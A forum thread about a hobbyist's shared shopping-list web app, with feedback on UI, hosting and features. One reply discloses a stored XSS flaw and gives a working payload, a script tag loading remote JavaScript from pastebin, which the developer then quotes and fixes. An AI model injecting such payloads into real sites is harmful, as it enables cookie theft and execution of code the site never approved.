[Dragosthethird]

Updated: I moved the site to a new host so the website loads faster. I updated the background to a more plain background rather than that shopping cart background. Adding a share function to the site to share lists with other users (No longer have to share account... I still have to add an remove function for the shared listDone)

Looking for feedback, suggestions, and possible names for a full release.



Original: My girlfriend and I had to go food shopping and she insists on having a list but each time we go out we end up splitting to get stuff quicker. Neither of us actually like to shop. So it was a pain to see what each other got without finding the other person. Well I decided to go ahead and make something that we could both update so we could know in almost real time what the other has grabbed. Well I decided to expand on the original and figured id launch a web app for the shopping list project. I don't have a name picked out.

Website URL: http://dev.windstormmediagroup.com/shopping/
API Documentation URL: http://dev.windstormmediagroup.com/shopping/api/

Looking for some feedback and suggestions to improve the project even more

[Super]

Great job on the site! Functionally it works great. Are you using a database on the backend to store the shopping lists and users?

[Dragosthethird]

Great job on the site! Functionally it works great. Are you using a database on the backend to store the shopping lists and users?

Yes. Each user is assigned a "memberId" and each list only shows items added by that "memberId"
Im think of possibly adding the function to share lists with other users in the future.

[Nachfolger]

Definitely a cool little project to build in your spare time. With this being said, I'm a generally a very negative person, so don't take anything I say too personally. The UI is relatively bad, I understand the reasoning for the shopping cart background, but it just looks dumb when it's on every page. I also find it confusing that the login and logout buttons are shown on each page, regardless of whether or not you're currently logged in.

Specific complains:
-- https://prnt.sc/l6wb5n this select box doesn't match the input styles at all
-- There's no indication of what's happening, no loaders, no popups, nothing. Kinda confusing, especially trying to figure out if you added the item to your list
-- I assume you're using an iFrame to mask the real URL instead of just adding the domain correctly. This isn't a complaint really, just something weird that you're doing.

If you're planning on actually marketing this website, it would be cool to see an API integrated so people can use this service within their own apps, etc.

[Dragosthethird]

Definitely a cool little project to build in your spare time. With this being said, I'm a generally a very negative person, so don't take anything I say too personally. The UI is relatively bad, I understand the reasoning for the shopping cart background, but it just looks dumb when it's on every page. I also find it confusing that the login and logout buttons are shown on each page, regardless of whether or not you're currently logged in.

Login/Logout Buttons (Fixed)

Specific complains:
-- https://prnt.sc/l6wb5n this select box doesn't match the input styles at all
-- There's no indication of what's happening, no loaders, no popups, nothing. Kinda confusing, especially trying to figure out if you added the item to your list
-- I assume you're using an iFrame to mask the real URL instead of just adding the domain correctly. This isn't a complaint really, just something weird that you're doing.

If you're planning on actually marketing this website, it would be cool to see an API integrated so people can use this service within their own apps, etc.

--(fixed)
--(fixed)
--I think thats just caused by using the .tk domain to forward (No real domain yet). Will look into that and fix it.

Will look into making an API for it

[Super]

Not hugely important because users don't really share accounts, however I still want to let you know that your site is vulnerable to script injection (persistent XSS).

You can log in with the demo account and add this as the item name, and a bunch of bugs will start crawling on your screen!

Code

Bugs!<script type='text/javascript' src="https://pastebin.com/raw/JbTDESU1"></script>

XSS can be used for malicious things like using a user's CPU to mine monero, redirecting to phishing sites, stealing cookies, and more. You can fix this by sanitizing HTML chars from user input (there's a PHP function to do this). Here's what you can use to sanitize input: https://www.w3schools.com/php/func_strin...tities.asp

---

Log in with the demo account and you'll see this:

[Dragosthethird]

Not hugely important because users don't really share accounts, however I still want to let you know that your site is vulnerable to script injection (persistent XSS).

You can log in with the demo account and add this as the item name, and a bunch of bugs will start crawling on your screen!

Code

Bugs!<script type='text/javascript' src="https://pastebin.com/raw/JbTDESU1"></script>

XSS can be used for malicious things like using a user's CPU to mine monero, redirecting to phishing sites, stealing cookies, and more. You can fix this by sanitizing HTML chars from user input (there's a PHP function to do this). Here's what you can use to sanitize input: https://www.w3schools.com/php/func_strin...tities.asp

---

Log in with the demo account and you'll see this:

Did that on the localhost version and forgot to update it live. Fixed it. I actually liked the bugs script

[SeriousShell]

Definitely a cool little project to build in your spare time. With this being said, I'm a generally a very negative person, so don't take anything I say too personally. The UI is relatively bad, I understand the reasoning for the shopping cart background, but it just looks dumb when it's on every page. I also find it confusing that the login and logout buttons are shown on each page, regardless of whether or not you're currently logged in.

Specific complains:
-- https://prnt.sc/l6wb5n this select box doesn't match the input styles at all
-- There's no indication of what's happening, no loaders, no popups, nothing. Kinda confusing, especially trying to figure out if you added the item to your list
-- I assume you're using an iFrame to mask the real URL instead of just adding the domain correctly. This isn't a complaint really, just something weird that you're doing.

If you're planning on actually marketing this website, it would be cool to see an API integrated so people can use this service within their own apps, etc.

These are good criticism with regard to the software/appearance itself, but has anyone really discussed the practicality aspect? Does anyone go online to create a shopping cart when they can use a phone app/notes for shopping? Even then, physical shopping lists are still popular.

[Nachfolger]

These are good criticism with regard to the software/appearance itself, but has anyone really discussed the practicality aspect? Does anyone go online to create a shopping cart when they can use a phone app/notes for shopping? Even then, physical shopping lists are still popular.

OP gave a very legitimate reason to detest your very last claim -- Read his opening statement. I've pondered the idea of creating this myself, since my whole family always has stuff to add to our list. It would be extremely convenient to have a list for the whole family, assuming everyone is able to adapt to this digital method easily.

As I've mentioned, I think it's a good little project to add to your portfolio. I don't think this website will grow bigger than Google Keep, or any already popular alternatives; Unless OP spends time researching what other competitors don't have.

[Dragosthethird]

OP gave a very legitimate reason to detest your very last claim -- Read his opening statement. I've pondered the idea of creating this myself, since my whole family always has stuff to add to our list. It would be extremely convenient to have a list for the whole family, assuming everyone is able to adapt to this digital method easily.

As I've mentioned, I think it's a good little project to add to your portfolio. I don't think this website will grow bigger than Google Keep, or any already popular alternatives; Unless OP spends time researching what other competitors don't have.

I don't plan on this website being a huge success. Even if its just my family using this I will be happy. That was the entire point of this project was for a quick and easy way for my family to shop.

---

Update: Finished and added Admin Panel. Made Demo "admin" (The account is considered an admin but all admin commands will fail) I also cleaned up the code and changed the /shopping/index/ directory to just /shopping/.

To Do List:
Multiple lists per account
Item Notes (Add a note to a product)
Edit Items (Change name,quantity,ect.)

[N1l0c]

The website is pretty slow for me. Where is your server located?

[Dragosthethird]

The website is pretty slow for me. Where is your server located?

The server that the website is currently hosted on is in the UK. Its currently being hosted on a random free host until the project is completed to the point where I would consider it production worthy. The website seems to have really random load times and even just reloading can very how fast the page loads.

[N1l0c]

The server that the website is currently hosted on is in the UK. Its currently being hosted on a random free host until the project is completed to the point where I would consider it production worthy. The website seems to have really random load times and even just reloading can very how fast the page loads.

If you don't need cPanel (I'm using a different server management system) you can hit me up and I'll host your website for free on my server. 🤝

Otherwise just keep going - it's a good project.

[Dragosthethird]

If you don't need cPanel (I'm using a different server management system) you can hit me up and I'll host your website for free on my server.  🤝

Otherwise just keep going - it's a good project.

Already have hosting for when it production ready. Right now just waiting for DNS to update on the domain.

Website Updates:
Multiple List Active - Now each account can create multiple shopping lists.
Admin Panel Updated - More Admin tools available still disabled for DEMO

[cjbob]

Man you gotta fix the load image time.
Such a minor thing programatically but it will kill usability for beta testers.